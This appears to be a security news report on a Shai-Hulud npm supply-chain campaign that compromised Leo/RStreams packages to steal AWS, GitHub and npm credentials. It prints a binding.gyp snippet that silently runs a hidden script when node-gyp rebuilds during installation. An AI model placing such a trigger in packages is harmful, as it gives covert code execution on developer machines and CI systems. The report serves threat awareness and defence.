Shai-Hulud Campaign Abuses node-gyp Rebuild to Execute Credential-Stealing npm Payloads

A new wave of the Shai-Hulud malware campaign targeting the npm ecosystem. This latest attack compromises 20 packages in the Leo/RStreams framework, an AWS-native event streaming platform widely used in cloud infrastructure.

Generating roughly 45,000 downloads in the past month, these malicious packages aim to steal highly sensitive developer credentials.

Instead of relying on conventional script execution, attackers are leveraging a stealthy technique that abuses the node-gyp rebuild process.

By hiding execution triggers within the binding.Gyp files: the payload successfully bypasses basic scanners that monitor only standard npm lifecycle scripts.

Shai-Hulud Campaign Abuses node-gyp

The Leo, or RStreams, platform provides an abstraction layer for Amazon Web Services (AWS) products like Kinesis, S3, DynamoDB, and Lambda. Developers use these Node SDKs to build serverless data pipelines and manage event queues.

Because these libraries operate near core cloud infrastructure and continuous integration (CI/CD) environments, they are incredibly lucrative targets.

The affected packages, including leo-logger, leo-sdk, and serverless-leo, are perfectly positioned to harvest AWS credentials, GitHub tokens, npm publishing keys, and application secrets.

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

By infecting this specific supply chain, attackers ensure their malware executes in high-privilege environments where developers handle critical organizational data.

To deliver the payload without immediate detection, the campaign employs a highly evasive installation technique.

Rather than placing an install script in the package.json file, which automated security tools easily detect, threat actors embed shell commands within a binding. gyp file.

When npm encounters a package with this file and no explicit install script, it automatically triggers a node-gyp rebuild. During compilation, node-gyp expands the hidden shell commands embedded in specific execution expressions.

This abuse of standard behavior allows the malware to infect workstations and build pipelines during routine package installations silently.

JFrog said, while the underlying payload architecture remains consistent with earlier Shai-Hulud campaigns, threat actors have strategically altered their indicators of compromise.

The malware no longer uses previous public campaign markers like “Miasma” or “Hades.” Instead, it creates GitHub repositories using a new description string: “Alright Lets See If This Works.”

The token revocation threat string has also been updated to “RevokeAndItGoesKaboom.” Additionally, the payload introduces a gated path utilizing a SEED_PAT environment variable.

The code explicitly checks whether a GitHub Actions environment contains a specific seeder value before execution, serving as a mechanism for operator-controlled bootstrapping or staging.

Indicators of Compromise

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.